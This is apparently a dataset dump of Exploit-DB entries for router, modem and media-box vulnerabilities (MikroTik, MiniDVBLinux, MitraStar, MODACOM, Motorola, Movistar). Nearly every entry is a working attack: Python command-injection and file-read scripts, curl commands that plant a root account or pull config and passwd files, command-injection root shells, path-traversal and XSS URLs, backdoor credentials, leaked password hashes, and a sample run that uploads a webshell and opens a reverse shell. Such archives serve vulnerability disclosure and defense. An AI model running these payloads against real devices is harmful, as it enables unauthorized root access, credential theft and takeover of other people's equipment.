deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46444
Description: MikroTik RouterOS < 6.43.12 (stable) / < 6.42.12 (long-term) - Firewall and NAT Bypass
Type: remote
Platform: hardware
Date: 2019-02-21
Author: Jacob Baines

Exploit:
# CVE-2019-3924

A remote, unauthenticated attacker can proxy traffic through RouterOS via probes sent to the agent binary. This PoC demonstrates how to exploit a LAN host from the WAN. A video demonstrating the attack can be found here:

* https://www.youtube.com/watch?v=CxyOtsNVgFg

A Tenable Research Advisory for the vulnerability can be found here:

* https://www.tenable.com/security/research/tra-2019-07

## Compilation
This code was tested on Ubuntu 18.04. There is a dependency on boost, gtest, and cmake. Simply install them like so:

```sh
sudo apt install libboost-dev cmake
```

To compile simply do the following:

```sh
cd routeros/poc/cve_2019_3924/
mkdir build
cd build
cmake ..
```

## Sample Usage

```sh
albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at 192.168.1.70:8291
[+] Connected!
[+] Looking for a NUUO NVR at 10.0.0.252:80
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to 192.168.1.7:1270
[+] Done!
albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$
```


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46444.zip
Exploit-DB #51096
Description: MiniDVBLinux 5.4  - Remote Root Command Injection
Type: remote
Platform: hardware
Date: 2023-03-27
Author: LiquidWorm

Exploit:
# Exploit Title: MiniDVBLinux 5.4  - Remote Root Command Injection
# Exploit Author: LiquidWorm
#!/usr/bin/env python3
#
#
# MiniDVBLinux 5.4 Remote Root Command Injection Vulnerability
#
#
# Vendor: MiniDVBLinux
# Product web page: https://www.minidvblinux.de
# Affected version: <=5.4
#
# Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
# way to convert a standard PC into a Multi Media Centre based on the
# Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
# Linux based Digital Video Recorder: Watch TV, Timer controlled
# recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
# via browser, and a lot more. MLD strives to be as small as possible,
# modular, simple. It supports numerous hardware platforms, like classic
# desktops in 32/64bit and also various low power ARM systems.
#
# Desc: The application suffers from an OS command injection vulnerability.
# This can be exploited to execute arbitrary commands with root privileges.
#
# Tested on: MiniDVBLinux 5.4
#            BusyBox v1.25.1
#            Architecture: armhf, armhf-rpi2
#            GNU/Linux 4.19.127.203 (armv7l)
#            VideoDiskRecorder 2.4.6
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2022-5717
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5717.php
#
#
# 24.09.2022
#

import requests
import re,sys

#test case 001
#http://ip:8008/?site=about&name=MLD%20about&file=/boot/ABOUT
#test case 004
#http://ip:8008/?site=about&name=blind&file=$(id)
#cat: can't open 'uid=0(root)': No such file or directory
#cat: can't open 'gid=0(root)': No such file or directory
#test case 005
#http://ip:8008/?site=about&name=blind&file=`id`
#cat: can't open 'uid=0(root)': No such file or directory
#cat: can't open 'gid=0(root)': No such file or directory

if len(sys.argv) < 3:
  print('MiniDVBLinux 5.4 Command Injection PoC')
  print('Usage: ./mldhd_root2.py [url] [cmd]')
  sys.exit(17)
else:
    url = sys.argv[1]
    cmd = sys.argv[2]

req = requests.get(url+'/?site=about&name=ZSL&file=$('+cmd+')')
outz = re.search('<pre>(.*?)</pre>',req.text,flags=re.S).group()
print(outz.replace('<pre>','').replace('</pre>',''))
Exploit-DB #51097
Description: MiniDVBLinux 5.4 - Arbitrary File Read
Type: remote
Platform: hardware
Date: 2023-03-27
Author: LiquidWorm

Exploit:
# Exploit Title: MiniDVBLinux 5.4 - Arbitrary File Read
# Exploit Author: LiquidWorm
#!/usr/bin/env python3
#
#
# MiniDVBLinux 5.4 Arbitrary File Read Vulnerability
#
#
# Vendor: MiniDVBLinux
# Product web page: https://www.minidvblinux.de
# Affected version: <=5.4
#
# Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
# way to convert a standard PC into a Multi Media Centre based on the
# Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
# Linux based Digital Video Recorder: Watch TV, Timer controlled
# recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
# via browser, and a lot more. MLD strives to be as small as possible,
# modular, simple. It supports numerous hardware platforms, like classic
# desktops in 32/64bit and also various low power ARM systems.
#
# Desc: The distribution suffers from an arbitrary file disclosure
# vulnerability. Using the 'file' GET parameter attackers can disclose
# arbitrary files on the affected device and disclose sensitive and system
# information.
#
# Tested on: MiniDVBLinux 5.4
#            BusyBox v1.25.1
#            Architecture: armhf, armhf-rpi2
#            GNU/Linux 4.19.127.203 (armv7l)
#            VideoDiskRecorder 2.4.6
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2022-5719
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5719.php
#
#
# 24.09.2022
#

import requests
import re,sys

#test case 001
#http://ip:8008/?site=about&name=MLD%20about&file=/boot/ABOUT

if len(sys.argv) < 3:
  print('MiniDVBLinux 5.4 File Disclosure PoC')
  print('Usage: ./mldhd_fd.py [url] [file]')
  sys.exit(17)
else:
    url = sys.argv[1]
    fil = sys.argv[2]

req = requests.get(url+'/?site=about&name=ZSL&file='+fil)
outz = re.search('<pre>(.*?)</pre>',req.text,flags=re.S).group()
print(outz.replace('<pre>','').replace('</pre>',''))
Exploit-DB #51095
Description: MiniDVBLinux 5.4 - Unauthenticated Stream Disclosure
Type: remote
Platform: hardware
Date: 2023-03-27
Author: LiquidWorm

Exploit:
# Exploit Title: MiniDVBLinux 5.4  - Unauthenticated Stream Disclosure
# Exploit Author: LiquidWorm
MiniDVBLinux 5.4 Unauthenticated Stream Disclosure Vulnerability


Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version: <=5.4

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application suffers from an unauthenticated live stream
disclosure when /tpl/tv_action.sh is called and generates a snapshot
in /var/www/images/tv.jpg through the Simple VDR Protocol (SVDRP).

--------------------------------------------------------------------
/var/www/tpl/tv_action.sh:
--------------------------
01: #!/bin/sh
02:
03: header
04:
05: quality=60
06: svdrpsend.sh "GRAB /tmp/tv.jpg $quality $(echo "$query" | sed "s/width=\(.*\)&height=\(.*\)/\1 \2/g")"
07: mv -f /tmp/tv.jpg /var/www/images 2>/dev/null
--------------------------------------------------------------------

Tested on: MiniDVBLinux 5.4
           BusyBox v1.25.1
           Architecture: armhf, armhf-rpi2
           GNU/Linux 4.19.127.203 (armv7l)
           VideoDiskRecorder 2.4.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5716
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5716.php


24.09.2022

--


1. Generate screengrab:
 - Request: curl http://ip:8008/tpl/tv_action.sh -H "Accept: */*"
 - Response: 
220 mld SVDRP VideoDiskRecorder 2.4.6; Mon Sep 12 00:44:10 2022; UTF-8
250 Grabbed image /tmp/tv.jpg 60
221 mld closing connection

2. View screengrab:
 - Request: curl http://ip:8008/images/tv.jpg

3. Or use a browser:
 - http://ip:8008/home?site=remotecontrol
Exploit-DB #51093
Description: MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP - Remote Code Execution (RCE)
Type: remote
Platform: hardware
Date: 2023-03-27
Author: LiquidWorm

Exploit:
# Exploit Title: MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP - Remote Code Execution (RCE)
# Exploit Author: LiquidWorm

MiniDVBLinux 5.4 Simple VideoDiskRecorder Protocol SVDRP (svdrpsend.sh) Exploit


Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version: <=5.4

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application allows the usage of the SVDRP protocol/commands
to be sent by a remote attacker to manipulate and/or control remotely
the TV.

Tested on: MiniDVBLinux 5.4
           BusyBox v1.25.1
           Architecture: armhf, armhf-rpi2
           GNU/Linux 4.19.127.203 (armv7l)
           VideoDiskRecorder 2.4.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5714
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5714.php


24.09.2022

--


Send a message to the TV screen:

curl http://ip:8008/?site=commands&section=system&command=svdrpsend.sh%20MESG%20WE%20ARE%20WATCHING%20YOU!

220 mld SVDRP VideoDiskRecorder 2.4.6; Wed Sep 28 13:07:51 2022; UTF-8
250 Message queued
221 mld closing connection

For more commands:
 - https://www.linuxtv.org/vdrwiki/index.php/SVDRP#The_commands
Exploit-DB #51091
Description: MiniDVBLinux <=5.4  - Config Download Exploit
Type: remote
Platform: hardware
Date: 2023-03-27
Author: LiquidWorm

Exploit:
# Exploit Title: MiniDVBLinux <=5.4 Config Download Exploit
# Exploit Author: LiquidWorm


Vendor: MiniDVBLinux
Product web page: https://www.minidvblinux.de
Affected version: <=5.4

Summary: MiniDVBLinux(TM) Distribution (MLD). MLD offers a simple
way to convert a standard PC into a Multi Media Centre based on the
Video Disk Recorder (VDR) by Klaus Schmidinger. Features of this
Linux based Digital Video Recorder: Watch TV, Timer controlled
recordings, Time Shift, DVD and MP3 Replay, Setup and configuration
via browser, and a lot more. MLD strives to be as small as possible,
modular, simple. It supports numerous hardware platforms, like classic
desktops in 32/64bit and also various low power ARM systems.

Desc: The application is vulnerable to unauthenticated configuration
download when direct object reference is made to the backup function
using an HTTP GET request. This will enable the attacker to disclose
sensitive information and help her in authentication bypass, privilege
escalation and full system access.

====================================================================
/var/www/tpl/setup/Backup/Edit\ backup/51_download_backup.sh:
------------------------------------------------------------
01: <?
02: if [ "$GET_action" = "getconfig" ]; then
03:     . /etc/rc.config
04:     header "Content-Type: application/x-compressed-tar"
05:     header "Content-Disposition: filename=`date +%Y-%m-%d_%H%M_$HOST_NAME`_config.tgz"
06:     /usr/bin/backup-config.sh export /tmp/backup_config_$$.tgz &>/dev/null
07:     cat /tmp/backup_config_$$.tgz
08:     rm -rf /tmp/backup_config*
09:     exit
10: fi
11: ?>
12: <div class="button"><input type="button" value="$(TEXTDOMAIN="backup-www" gt 'Download')" title="$(TEXTDOMAIN="backup-www" gt 'Download a archive of your config')" onclick="window.open('/tpl/setup/Backup/Edit backup/51_download_backup.sh?action=getconfig'); call('')"/></div>

====================================================================

Tested on: MiniDVBLinux 5.4
           BusyBox v1.25.1
           Architecture: armhf, armhf-rpi2
           GNU/Linux 4.19.127.203 (armv7l)
           VideoDiskRecorder 2.4.6


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5713
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5713.php


24.09.2022

--


> curl http://ip:8008/tpl/setup/Backup/Edit%20backup/51_download_backup.sh?action=getconfig -o config.tgz
> mkdir configdir
> tar -xvzf config.tgz -C .\configdir
> cd configdir && cd etc
> type passwd
root:$1$ToYyWzqq$oTUM6EpspNot2e1eyOudO0:0:0:root:/root:/bin/sh
daemon:!:1:1::/:
ftp:!:40:2:FTP account:/:/bin/sh
user:!:500:500::/home/user:/bin/sh
nobody:!:65534:65534::/tmp:
_rpc:x:107:65534::/run/rpcbind:/usr/sbin/nologin
>
Exploit-DB #43061
Description: MitraStar DSL-100HN-T1/GPT-2541GNAC - Privilege Escalation
Type: remote
Platform: hardware
Date: 2017-10-28
Author: j0lama

Exploit:
# Exploit Title: Privilege escalation MitraStar routers
# Date: 28-10-2017
# Exploit Author: j0lama
# Vendor Homepage: http://www.mitrastar.com/
# Provider Homepage: https://www.movistar.com/
# Models affected: MitraStar DSL-100HN-T1 and MitraStar GPT-2541GNAC (HGU)
# Software versions: ES_113WJY0b16 (DSL-100HN-T1) and 1.00(VNJ0)b1 (GPT-2541GNAC)
# Vulnerability analysis: http://jolama.es/temas/router-attack/index.php

Description
-----------
SSH has a bad configuration that allows execute commands when you connect avoiding the default shell that the manufacturer provide us.

$ ssh 1234@ip /bin/sh

This give us a shell with root permissions.

Note: the password for 1234 user is under the router.

You can copy all file system to your local machine using scp.
In some of the MitraStar routers there is a zyad1234 user with password zyad1234 that have the same permissions of the 1234 user (root).


Solution
--------
In the latest firmware versions this have been fixed. 
If you try to execute scp, the router's configuration file will be copy to your computer instead of any file as occurred before.
Exploit-DB #50351
Description: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
Type: remote
Platform: hardware
Date: 2021-09-29
Author: Leonardo Nicolas Servalli

Exploit:
# Exploit Title: Mitrastar GPT-2541GNAC-N1 - Privilege escalation
# Date: 10-08-2021
# Exploit Author: Leonardo Nicolas Servalli
# Vendor Homepage: www.mitrastar.com
# Platform: Mistrastar router devices GPT-2541GNAC-N1 (HGU)
# Tested on: Firmware BR_g3.5_100VNZ0b33
# Vulnerability analysis: https://github.com/leoservalli/Privilege-escalation-MitraStar/blob/main/README.md

Description:

----------

# Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).

# The command “deviceinfo show file <path>” is used from reduced CLI to show files and directories. Because this command do not handle correctly special characters, is possible to insert a second command as a parameter on the <path> value. By using “&&/bin/bash” as parameter value we can spawn a bash console, as seen on the next example:


Exploit:
--------

> deviceinfo show file &&/bin/bash

# This command will spawn a full interoperable bash console with root privileges.
Exploit-DB #17356
Description: MODACOM URoad-5000 1450 - Remote Command Execution / Backdoor Access
Type: remote
Platform: hardware
Date: 2011-06-02
Author: Alex Stanev

Exploit:
      ================================================
     == Alex Stanev Security Advisory #4 @31.05.2011 ==
     ==             http://sec.stanev.org            ==
      ================================================

PRODUCT
     URoad-5000

VENDOR
     MODACOM [http://www.modacom.co.kr]

VERSIONS AFFECTED
     v1450

CLASS
     Remote command execution/Backdoor

PRODUCT DESCRIPTION
     URoad-5000 is integrated battery powered wireless router. It comes with only one external USB
     interface and no other hardware comm interfaces (such as ethernet). Based on RaLink SoC 3050.
     The USB port is used for connection with MW-U3050, which is USB WiMAX dongle.
     Linux inside.
     Often marketed as WiMAX 2 WiFi "converter".

THE PROBLEM
     The box uses modified version of RaLink SDK. The standard web interface is accessed via HTTP.
     1) Web administration interface can be accessed with standard user/password pair admin:admin
     This can be later changed, but there is another possible access pair - engineer:engineer
     and it can't be changed via the web interface.
     2) Some of the SDK standard scripts are left and their screens in the web interface are just
     HTML commented. This reveals the /goform/SystemCommand method.

EXPLOIT
     1) Remote add r00t user with password boza
          $curl --basic -u "engineer:engineer" \
	        -d "command=echo -e \"r00t:CRYM.sLY1U1AI:0:0:Adminstrator:/:/bin/sh\" >> /etc/passwd;&SystemCommandSubmit=Apply" \
	        192.168.100.254/goform/SystemCommand
          $telnet 192.168.100.254
          Trying 192.168.100.254...
          Connected to 192.168.100.254.
          modacom login: r00t
          Password: boza
          BusyBox v1.12.1 (2010-03-05 21:33:57 KST) built-in shell (ash)
          Enter 'help' for a list of built-in commands.
          #

ADDITIONAL INFO
     The flaw was presented on OpenFest 2010.
     Presentation: http://openfest.org/files/slides-2010/OpenFest2010_Reverse_engineering_Alex_Stanev.pdf [in bulgarian]

PATCH/WORKAROUND
     No workaround possible. Next version?

VENDOR STATUS
     NOT informed. Backdoor.

     =========================
    ==           EOF         ==
    == http://sec.stanev.org ==
     =========================
Exploit-DB #12865
Description: Motorola Surfboard Cable Modem - Directory Traversal
Type: remote
Platform: hardware
Date: 2010-06-03
Author: S2 Crew

Exploit:
# Exploit Title: Motorola SURFBoard Cable Modem Directory Traversal
# Date: 2010.06.03
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: Model name: SBV6120E, Firmware Name: SBV6X2X-1.0.0.5-SCM-02-SHPC
# Tested on: ^
# CVE: -
# Code :

The following urls get back the /etc/passwd file from the modem:

http://[IP]///etc/passwd <http://[ip]///etc/passwd>
http://[IP]/../../etc/passwd

http://[IP]/..%2f..%2fetc/passwd <http://[ip]/..%2f..%2fetc/passwd>
http://[IP]/%2e%2e/%2e%2e/etc/passwd
Exploit-DB #7915
Description: Motorola Wimax modem CPEi300 - File Disclosure / Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2009-01-29
Author: Usman Saeed

Exploit:
#####################################################################################
#
#   Name    :   Motorola Wimax modem CPEi300 Multiple Vulnerabilities
#   Author  :   Usman Saeed 
#   Company :   Xc0re Security Reasearch Group
#   Homepage :  http://www.xc0re.net
#
#####################################################################################


[Note: User needs to logged in! ]

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Exploitation : 

   [+] Directory traversal
	http://Hostname/cgi-bin/sysconf.cgi?page=../../../etc/passwd&action=request&sid=AeoFSFoI4lDs 

   [+] XSS 

	http://Hostname/cgi-bin/sysconf.cgi?page="><script>alert(1);</script>"&action=request&sid=AeoFSFoI4lDs  


# milw0rm.com [2009-01-29]
Exploit-DB #40734
Description: MOVISTAR BHS_RTA ADSL Router - Remote File Disclosure
Type: remote
Platform: hardware
Date: 2016-11-08
Author: Todor Donev

Exploit:
#!/bin/sh
# 
#  MOVISTAR ADSL ROUTER BHS_RTA BHS_RTA_C0_019
#  Remote File Disclosure
#
#  Vendor:              OBSERVA
#  Model:               BHS_RTA
#  Software:            BHS_RTA_CO_019
#  Firmware:            09/08/2012-10:23:25  
# 
#
#  Copyright 2016 (c) Todor Donev 
#  <todor.donev at gmail.com>
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  Thanks to Maya Hristova that support me.  

[todor@adamantium ~]$ torsocks GET "http://TARGET/cgi-bin/webproc?getpage=/etc/shadow&var:language=es_es&var:page="
# #root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
# root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
# #tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::